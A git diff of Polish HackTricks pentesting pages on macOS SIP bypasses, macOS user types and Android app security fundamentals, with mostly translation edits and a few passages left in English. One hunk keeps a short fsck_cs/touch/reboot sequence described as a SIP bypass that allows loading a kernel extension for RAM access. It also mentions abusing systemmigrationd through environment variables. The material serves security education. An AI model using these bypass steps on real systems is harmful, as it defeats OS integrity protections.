#### [fsck\_cs utility](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
||||
|
||||
|
@ -154,7 +141,7 @@ fsck_cs /dev/diskX 1>&-
|
|||
touch /Library/Extensions/
|
||||
reboot
|
||||
```
|
||||
Wykorzystanie tej luki ma poważne konsekwencje. Plik `Info.plist`, normalnie odpowiedzialny za zarządzanie uprawnieniami dla rozszerzeń jądra, staje się nieskuteczny. Obejmuje to niemożność dodania do czarnej listy niektórych rozszerzeń, takich jak `AppleHWAccess.kext`. W konsekwencji, gdy mechanizm kontrolny SIP jest uszkodzony, to rozszerzenie może być załadowane, co umożliwia nieautoryzowany dostęp do odczytu i zapisu pamięci RAM systemu.
|
||||
Wykorzystanie tej luki ma poważne konsekwencje. Plik `Info.plist`, normalnie odpowiedzialny za zarządzanie uprawnieniami dla rozszerzeń jądra, staje się nieskuteczny. Obejmuje to niemożność dodania do czarnej listy niektórych rozszerzeń, takich jak `AppleHWAccess.kext`. W konsekwencji, gdy mechanizm kontrolny SIP jest uszkodzony, to rozszerzenie może być załadowane, co daje nieautoryzowany dostęp do odczytu i zapisu pamięci RAM systemu.
|
||||
|
||||
#### [Mount over SIP protected folders](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
|
||||
|
||||
|
@ -179,7 +166,7 @@ Ponadto, w `InstallESD.dmg` znajduje się `BaseSystem.dmg`, który służy jako
|
|||
|
||||
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
|
||||
W tym wykładzie z [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk) pokazano, jak **`systemmigrationd`** (który może omijać SIP) wykonuje skrypt **bash** i skrypt **perl**, które mogą być nadużywane za pomocą zmiennych środowiskowych **`BASH_ENV`** i **`PERL5OPT`**.
|
||||
W tym wykładzie z [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk) pokazano, jak **`systemmigrationd`** (które może omijać SIP) wykonuje skrypt **bash** i skrypt **perl**, które mogą być nadużywane za pomocą zmiennych środowiskowych **`BASH_ENV`** i **`PERL5OPT`**.
|
||||
|
||||
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
|
||||
|
||||
|
@ -266,17 +253,6 @@ Ponadto, dysk migawki jest również zamontowany jako **tylko do odczytu**:
|
|||
mount
|
||||
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -286,8 +262,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,22 @@
|
|||
# Użytkownicy macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Dowiedz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Dowiedz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Zwykli Użytkownicy
|
||||
### Wspólni Użytkownicy
|
||||
|
||||
* **Daemon**: Użytkownik zarezerwowany dla demonów systemowych. Domyślne nazwy kont demonów zazwyczaj zaczynają się od "\_":
|
||||
|
||||
|
@ -37,8 +24,6 @@ Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo
|
|||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
* **Gość**: Konto dla gości z bardzo restrykcyjnymi uprawnieniami
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||
|
@ -48,24 +33,24 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
|||
* **Nikt**: Procesy są wykonywane z tym użytkownikiem, gdy wymagane są minimalne uprawnienia
|
||||
* **Root**
|
||||
|
||||
### Uprawnienia użytkownika
|
||||
### Uprawnienia użytkowników
|
||||
|
||||
* **Standardowy użytkownik**: Najbardziej podstawowy użytkownik. Ten użytkownik potrzebuje udzielonych uprawnień od użytkownika admina, gdy próbuje zainstalować oprogramowanie lub wykonać inne zaawansowane zadania. Sam nie jest w stanie tego zrobić.
|
||||
* **Użytkownik admina**: Użytkownik, który działa przeważnie jako standardowy użytkownik, ale ma także możliwość wykonywania działań root, takich jak instalowanie oprogramowania i inne zadania administracyjne. Wszyscy użytkownicy należący do grupy admina **mają dostęp do roota za pośrednictwem pliku sudoers**.
|
||||
* **Root**: Root to użytkownik uprawniony do wykonania prawie każdej akcji (istnieją ograniczenia narzucone przez zabezpieczenia, takie jak System Integrity Protection).
|
||||
* Na przykład root nie będzie w stanie umieścić pliku wewnątrz `/System`
|
||||
* **Użytkownik standardowy:** Najbardziej podstawowy użytkownik. Ten użytkownik potrzebuje uprawnień przyznanych przez użytkownika administracyjnego, gdy próbuje zainstalować oprogramowanie lub wykonać inne zaawansowane zadania. Nie jest w stanie zrobić tego samodzielnie.
|
||||
* **Użytkownik administracyjny**: Użytkownik, który działa przez większość czasu jako użytkownik standardowy, ale ma również prawo do wykonywania działań root, takich jak instalacja oprogramowania i inne zadania administracyjne. Wszyscy użytkownicy należący do grupy administratorów mają **dostęp do roota za pośrednictwem pliku sudoers**.
|
||||
* **Root**: Root to użytkownik, któremu zezwala się na wykonywanie prawie każdej akcji (istnieją ograniczenia nałożone przez zabezpieczenia, takie jak System Integrity Protection).
|
||||
* Na przykład root nie będzie w stanie umieścić pliku w `/System`
|
||||
|
||||
{% hint style="success" %}
|
||||
Naucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Naucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępnij sztuczki hakerskie, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,29 +10,21 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Model bezpieczeństwa Androida
|
||||
|
||||
**Istnieją dwie warstwy:**
|
||||
|
||||
* **OS**, który utrzymuje zainstalowane aplikacje w izolacji od siebie.
|
||||
* **sama aplikacja**, która pozwala deweloperom **udostępniać określone funkcjonalności** i konfigurować możliwości aplikacji.
|
||||
* **sama aplikacja**, która pozwala deweloperom **ujawniać określone funkcjonalności** i konfigurować możliwości aplikacji.
|
||||
|
||||
### Separacja UID
|
||||
|
||||
**Każdej aplikacji przypisany jest konkretny identyfikator użytkownika (User ID)**. Dzieje się to podczas instalacji aplikacji, aby **aplikacja mogła interagować tylko z plikami należącymi do jej identyfikatora użytkownika lub z plikami współdzielonymi**. Dlatego tylko sama aplikacja, niektóre komponenty systemu operacyjnego i użytkownik root mogą uzyskać dostęp do danych aplikacji.
|
||||
**Każdej aplikacji przypisany jest określony identyfikator użytkownika (User ID)**. Dzieje się to podczas instalacji aplikacji, aby **aplikacja mogła interagować tylko z plikami należącymi do jej identyfikatora użytkownika lub plikami współdzielonymi**. Dlatego tylko sama aplikacja, niektóre komponenty systemu operacyjnego i użytkownik root mogą uzyskać dostęp do danych aplikacji.
|
||||
|
||||
### Współdzielenie UID
|
||||
|
||||
|
@ -49,16 +41,16 @@ Od Androida 5.0(L) **SELinux** jest egzekwowany. Zasadniczo, SELinux odmawia wsz
|
|||
Kiedy instalujesz **aplikację i prosi o uprawnienia**, aplikacja prosi o uprawnienia skonfigurowane w elementach **`uses-permission`** w pliku **AndroidManifest.xml**. Element **uses-permission** wskazuje nazwę żądanego uprawnienia w **atrybucie name**. Ma również atrybut **maxSdkVersion**, który przestaje prosić o uprawnienia w wersjach wyższych niż ta określona.\
|
||||
Zauważ, że aplikacje na Androida nie muszą prosić o wszystkie uprawnienia na początku, mogą również **prosić o uprawnienia dynamicznie**, ale wszystkie uprawnienia muszą być **zadeklarowane** w **manifeście**.
|
||||
|
||||
Kiedy aplikacja udostępnia funkcjonalność, może ograniczyć **dostęp tylko do aplikacji, które mają określone uprawnienie**.\
|
||||
Kiedy aplikacja ujawnia funkcjonalność, może ograniczyć **dostęp tylko do aplikacji, które mają określone uprawnienie**.\
|
||||
Element uprawnienia ma trzy atrybuty:
|
||||
|
||||
* **nazwa** uprawnienia
|
||||
* Atrybut **permission-group**, który pozwala na grupowanie powiązanych uprawnień.
|
||||
* atrybut **permission-group**, który pozwala na grupowanie powiązanych uprawnień.
|
||||
* **poziom ochrony**, który wskazuje, jak przyznawane są uprawnienia. Istnieją cztery typy:
|
||||
* **Normalne**: Używane, gdy **nie ma znanych zagrożeń** dla aplikacji. Użytkownik **nie musi ich zatwierdzać**.
|
||||
* **Niebezpieczne**: Wskazuje, że uprawnienie przyznaje żądającej aplikacji pewien **podwyższony dostęp**. **Użytkownicy są proszeni o ich zatwierdzenie**.
|
||||
* **Podpis**: Tylko **aplikacje podpisane tym samym certyfikatem, co ten** eksportujący komponent, mogą otrzymać uprawnienie. To najsilniejszy typ ochrony.
|
||||
* **PodpisLubSystem**: Tylko **aplikacje podpisane tym samym certyfikatem, co ten** eksportujący komponent lub **aplikacje działające z dostępem na poziomie systemu** mogą otrzymać uprawnienia.
|
||||
* **SignatureOrSystem**: Tylko **aplikacje podpisane tym samym certyfikatem, co ten** eksportujący komponent lub **aplikacje działające z dostępem na poziomie systemu** mogą otrzymać uprawnienia.
|
||||
|
||||
## Aplikacje wstępnie zainstalowane
|
||||
|
||||
|
@ -121,9 +113,9 @@ W inżynierii odwrotnej, **Smali** staje się kluczowy. To czytelna dla człowie
|
|||
|
||||
## Intencje
|
||||
|
||||
Intencje są głównym sposobem, w jaki aplikacje Android komunikują się między swoimi komponentami lub z innymi aplikacjami. Te obiekty wiadomości mogą również przenosić dane między aplikacjami lub komponentami, podobnie jak żądania GET/POST są używane w komunikacji HTTP.
|
||||
Intencje są podstawowym sposobem, w jaki aplikacje Android komunikują się między swoimi komponentami lub z innymi aplikacjami. Te obiekty wiadomości mogą również przenosić dane między aplikacjami lub komponentami, podobnie jak żądania GET/POST są używane w komunikacji HTTP.
|
||||
|
||||
Tak więc intencja to zasadniczo **wiadomość, która jest przekazywana między komponentami**. Intencje **mogą być kierowane** do konkretnych komponentów lub aplikacji, **lub mogą być wysyłane bez konkretnego odbiorcy**.\
|
||||
Intencja to zasadniczo **wiadomość, która jest przekazywana między komponentami**. Intencje **mogą być kierowane** do konkretnych komponentów lub aplikacji, **lub mogą być wysyłane bez konkretnego odbiorcy**.\
|
||||
Aby uprościć, intencja może być używana:
|
||||
|
||||
* Do uruchamiania aktywności, zazwyczaj otwierając interfejs użytkownika dla aplikacji
|
||||
|
@ -136,11 +128,11 @@ Jeśli są podatne, **intencje mogą być używane do przeprowadzania różnych
|
|||
|
||||
### Filtr intencji
|
||||
|
||||
**Filtry intencji** definiują **jak aktywność, usługa lub odbiornik transmisji mogą interagować z różnymi typami intencji**. Zasadniczo opisują one możliwości tych komponentów, takie jak jakie akcje mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Główne miejsce do deklarowania tych filtrów to plik **AndroidManifest.xml**, chociaż dla odbiorników transmisji, kodowanie ich również jest opcją.
|
||||
**Filtry intencji** definiują **jak aktywność, usługa lub odbiornik transmisji mogą interagować z różnymi typami intencji**. Zasadniczo opisują one możliwości tych komponentów, takie jak jakie akcje mogą wykonywać lub jakie rodzaje transmisji mogą przetwarzać. Głównym miejscem do deklarowania tych filtrów jest plik **AndroidManifest.xml**, chociaż dla odbiorników transmisji, kodowanie ich również jest opcją.
|
||||
|
||||
Filtry intencji składają się z kategorii, akcji i filtrów danych, z możliwością dodania dodatkowych metadanych. Ta konfiguracja pozwala komponentom obsługiwać konkretne intencje, które pasują do zadeklarowanych kryteriów.
|
||||
|
||||
Krytycznym aspektem komponentów Androida (aktywności/usługi/dostawcy treści/odbiorniki transmisji) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może interagować z innymi aplikacjami, jeśli jest **`exported`** z wartością **`true`** lub jeśli dla niego zadeklarowany jest filtr intencji w manifeście. Istnieje jednak sposób, aby deweloperzy wyraźnie zachowali te komponenty jako prywatne, zapewniając, że nie będą interagować z innymi aplikacjami niezamierzenie. Osiąga się to poprzez ustawienie atrybutu **`exported`** na **`false`** w ich definicjach manifestu.
|
||||
Krytycznym aspektem komponentów Androida (aktywności/usługi/dostawcy treści/odbiorniki transmisji) jest ich widoczność lub **status publiczny**. Komponent jest uważany za publiczny i może interagować z innymi aplikacjami, jeśli jest **`exported`** z wartością **`true`** lub jeśli dla niego w manifeście zadeklarowano filtr intencji. Istnieje jednak sposób, aby deweloperzy wyraźnie zachowali te komponenty prywatne, zapewniając, że nie będą interagować z innymi aplikacjami niezamierzenie. Osiąga się to poprzez ustawienie atrybutu **`exported`** na **`false`** w ich definicjach manifestu.
|
||||
|
||||
Ponadto, deweloperzy mają możliwość dalszego zabezpieczenia dostępu do tych komponentów, wymagając określonych uprawnień. Atrybut **`permission`** może być ustawiony, aby wymusić, że tylko aplikacje z wyznaczonym uprawnieniem mogą uzyskać dostęp do komponentu, dodając dodatkową warstwę bezpieczeństwa i kontroli nad tym, kto może z nim interagować.
|
||||
```java
|
||||
|
@ -154,7 +146,7 @@ Intencje są programowo tworzone za pomocą konstruktora Intent:
|
|||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
The **Action** wcześniej zadeklarowanego zamiaru to **ACTION\_SEND**, a **Extra** to mailto **Uri** (Extra to dodatkowe informacje, których oczekuje zamiar).
|
||||
The **Action** of the previously declared intent is **ACTION\_SEND** and the **Extra** is a mailto **Uri** (the Extra if the extra information the intent is expecting).
|
||||
|
||||
Ten zamiar powinien być zadeklarowany w manifeście, jak w następującym przykładzie:
|
||||
```xml
|
||||
|
@ -165,17 +157,17 @@ Ten zamiar powinien być zadeklarowany w manifeście, jak w następującym przyk
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Filtr intencji musi pasować do **akcji**, **danych** i **kategorii**, aby odebrać wiadomość.
|
||||
An intent-filter musi pasować do **akcji**, **danych** i **kategorii**, aby odebrać wiadomość.
|
||||
|
||||
Proces "rozwiązywania intencji" określa, która aplikacja powinna odebrać każdą wiadomość. Proces ten uwzględnia **atrybut priorytetu**, który można ustawić w **deklaracji filtru intencji**, a **ten z wyższym priorytetem zostanie wybrany**. Ten priorytet można ustawić w zakresie od -1000 do 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli wystąpi **konflikt**, pojawia się okno "wyboru", aby **użytkownik mógł zdecydować**.
|
||||
Proces "rozwiązywania intencji" określa, która aplikacja powinna odebrać każdą wiadomość. Proces ten uwzględnia **atrybut priorytetu**, który można ustawić w **deklaracji intent-filter**, a **ten z wyższym priorytetem zostanie wybrany**. Ten priorytet można ustawić w zakresie od -1000 do 1000, a aplikacje mogą używać wartości `SYSTEM_HIGH_PRIORITY`. Jeśli wystąpi **konflikt**, pojawia się okno "wyboru", aby **użytkownik mógł zdecydować**.
|
||||
|
||||
### Eksplicytne intencje
|
||||
### Explicit Intents
|
||||
|
||||
Eksplicytna intencja określa nazwę klasy, którą celuje:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
W innych aplikacjach, aby uzyskać dostęp do wcześniej zadeklarowanego zamiaru, możesz użyć:
|
||||
W innych aplikacjach, aby uzyskać dostęp do wcześniej zadeklarowanego intencji, możesz użyć:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
|
@ -200,13 +192,13 @@ Możesz również użyć funkcji **`sendBroadcast`** z **`LocalBroadCastManager`
|
|||
|
||||
Ten rodzaj rozgłoszeń **może być dostępny długo po ich wysłaniu**.\
|
||||
Zostały one wycofane w poziomie API 21 i zaleca się **nie używać ich**.\
|
||||
**Pozwalają one każdej aplikacji na podsłuchiwanie danych, ale także na ich modyfikację.**
|
||||
**Pozwalają każdej aplikacji na podsłuchiwanie danych, ale także na ich modyfikację.**
|
||||
|
||||
Jeśli znajdziesz funkcje zawierające słowo "sticky", takie jak **`sendStickyBroadcast`** lub **`sendStickyBroadcastAsUser`**, **sprawdź wpływ i spróbuj je usunąć**.
|
||||
|
||||
## Deep links / URL schemes
|
||||
|
||||
W aplikacjach Android, **deep links** są używane do inicjowania akcji (Intencja) bezpośrednio przez URL. Dzieje się to poprzez zadeklarowanie konkretnego **schematu URL** w obrębie aktywności. Gdy urządzenie z Androidem próbuje **uzyskać dostęp do URL z tym schematem**, określona aktywność w aplikacji jest uruchamiana.
|
||||
W aplikacjach Android, **deep links** są używane do inicjowania akcji (Intent) bezpośrednio przez URL. Dzieje się to poprzez zadeklarowanie konkretnego **schematu URL** w obrębie aktywności. Gdy urządzenie z Androidem próbuje **uzyskać dostęp do URL z tym schematem**, określona aktywność w aplikacji jest uruchamiana.
|
||||
|
||||
Schemat musi być zadeklarowany w pliku **`AndroidManifest.xml`**:
|
||||
```xml
|
||||
|
@ -220,7 +212,7 @@ Schemat musi być zadeklarowany w pliku **`AndroidManifest.xml`**:
|
|||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
Schemat z poprzedniego przykładu to `exampleapp://` (zauważ również **`kategoria BROWSABLE`**)
|
||||
Schemat z poprzedniego przykładu to `exampleapp://` (zauważ również **`category BROWSABLE`**)
|
||||
|
||||
Następnie, w polu danych, możesz określić **host** i **path**:
|
||||
```xml
|
||||
|
@ -243,7 +235,7 @@ Dowiedz się, jak [wywoływać deep linki bez użycia stron HTML](./#exploiting-
|
|||
|
||||
### Kluczowe pojęcia
|
||||
|
||||
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie z usługą, składanie żądań i otrzymywanie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem przeglądu bezpieczeństwa w poszukiwaniu luk.
|
||||
- **Usługi powiązane**: Te usługi wykorzystują AIDL do IPC, umożliwiając aktywnościom lub komponentom powiązanie z usługą, składanie żądań i otrzymywanie odpowiedzi. Metoda `onBind` w klasie usługi jest kluczowa dla inicjowania interakcji, co czyni ją istotnym obszarem do przeglądu bezpieczeństwa w poszukiwaniu luk.
|
||||
|
||||
- **Messenger**: Działając jako usługa powiązana, Messenger ułatwia IPC z naciskiem na przetwarzanie danych poprzez metodę `onBind`. Ważne jest, aby dokładnie sprawdzić tę metodę pod kątem niebezpiecznego przetwarzania danych lub wykonywania wrażliwych funkcji.
|
||||
|
||||
|
@ -268,17 +260,17 @@ W aplikacjach Android **aktywności** są jak ekrany, pokazujące różne częś
|
|||
```
|
||||
Nie wszystkie aplikacje potrzebują aktywności uruchamiającej, szczególnie te bez interfejsu użytkownika, takie jak usługi w tle.
|
||||
|
||||
Aktywności mogą być udostępniane innym aplikacjom lub procesom poprzez oznaczenie ich jako "exported" w manifeście. To ustawienie pozwala innym aplikacjom na uruchomienie tej aktywności:
|
||||
Aktywności mogą być udostępniane innym aplikacjom lub procesom, oznaczając je jako "exported" w manifeście. To ustawienie pozwala innym aplikacjom na uruchomienie tej aktywności:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Jednak dostęp do aktywności z innej aplikacji nie zawsze stanowi zagrożenie dla bezpieczeństwa. Obawy pojawiają się, jeśli wrażliwe dane są udostępniane niewłaściwie, co może prowadzić do wycieków informacji.
|
||||
Jednak dostęp do aktywności z innej aplikacji nie zawsze stanowi ryzyko bezpieczeństwa. Obawy pojawiają się, jeśli wrażliwe dane są udostępniane niewłaściwie, co może prowadzić do wycieków informacji.
|
||||
|
||||
Cykl życia aktywności **zaczyna się od metody onCreate**, która ustawia interfejs użytkownika i przygotowuje aktywność do interakcji z użytkownikiem.
|
||||
|
||||
### Podklasa Aplikacji
|
||||
|
||||
W rozwoju Androida aplikacja ma możliwość stworzenia **podklasy** klasy [Application](https://developer.android.com/reference/android/app/Application), chociaż nie jest to obowiązkowe. Gdy taka podklasa jest zdefiniowana, staje się pierwszą klasą, która jest instancjonowana w aplikacji. Metoda **`attachBaseContext`**, jeśli jest zaimplementowana w tej podklasie, jest wykonywana przed metodą **`onCreate`**. Ta konfiguracja pozwala na wczesną inicjalizację przed rozpoczęciem działania reszty aplikacji.
|
